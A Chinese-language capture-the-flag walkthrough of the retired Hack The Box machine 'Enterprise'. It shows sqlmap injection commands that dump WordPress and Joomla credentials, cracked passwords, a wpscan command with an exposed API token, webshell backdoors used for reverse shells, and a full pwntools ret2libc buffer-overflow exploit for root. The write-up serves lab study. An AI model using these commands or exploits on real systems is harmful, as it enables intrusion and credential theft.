本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.61
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.61 -o ./Enterprise-autorecon
根据扫描结果绑定了本地hosts文件,查看爆破的目录,然后访问:https://10.10.10.61/files/lcars.zip 将文件下载到本地解压如下:
查看上面的代码确认存在sql注入,使用sqlmap跑一把得出了用户名和加密的密码
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D wordpress -T wp_users -C user_login,user_nicename,user_pass,user_email --dump --smart --batch
用户:william.riker 密码破解不出来,使用wpscan扫一把
wpscan --url http://enterprise.htb -e ap,t,tt,u --api-token pFokhQNG8ZFEmmntdfHfTYnrYdnvJHKtVtDuHTqTqBc
得到了目标存在一个用户,到了这一步是通过枚举目标wordpress数据库的文件字段信息获取了里面存在一个密码,通过使用burpsuite此时得出了正确的账户和密码进行登录
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D wordpress -T wp_posts -C post_content --dump --thread 10 --smart --batch
最终得出如下4个密码
ZxJyhGem4k338S2Y enterprisencc170 ZD3YxfnSjezg67JZ u*Z14ru0p#ttj83zS6
登录到目标wordpress后台之后还是老方法写入后门代码然后反弹shell
访问:http://enterprise.htb/wp-content/themes/twentyseventeen/page.php?0=which curl 确认可以正常执行,然后反弹shell
成功得到shell,但是并没有获取user.txt,查看下IP地址,发现并不是目标靶机的IP地址,怀疑目标靶机的web应用程序是在另一台机器上,那这个先放着,我们继续看另一个joomla,还是通过上面的注入把joomla的用户名和密码注入出来了
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D joomladb -T edz2g_users -C username,password --dump --thread 10 --smart --batch
最开始扫描的时候发现了其后台是administrator,通过使用burpsuite带入上面得到的4个密码爆破出来了密码,登录目标joomla的后台
同样的方式注入后门代码
反弹shell跟上面反弹wordpress程序是一样的,最终得到了shell
还是不能获取user.txt ,通过使用LinEnum.sh枚举和测试发现刚开始判断注入的而下载的文件地址存在跟目标靶机共享目录的特性
既然是共享目录,那么下载一个反弹shell代码,然后浏览器访问反弹真正的目标shell
此时获取了user.txt ,下面就是提权为root用户,这里是缓冲区溢出漏洞提权,参考如下文章分析:
https://www.hackingdream.net/2019/08/enterprise-hackthebox-walkthrough.html https://alamot.github.io/enterprise_writeup/ https://sheerazali.com/enterprise-writeup-walkthrough-hack-the-box/
利用代码如下:
保存为getroot.sh #!/usr/bin/env python2 import struct from pwn import * RHOST = '10.10.10.61' RPORT = 32812 def conv (num): return struct.pack ('<I',num) payload = 'A' * 212 payload += conv (0xf7e4c060) # system() payload += conv (0xf7e3faf0) # exit() payload += conv (0xf7f6ddd5) # 'sh' sess = remote (RHOST, RPORT) sess.recvuntil ("Enter Bridge Access Code: ") sess.sendline ("picarda1") sess.recvuntil ("Waiting for input: ") sess.sendline ("4") sess.recvuntil ("Enter Security Override:") sess.sendline (payload) sess.interactive () 直接执行即可提权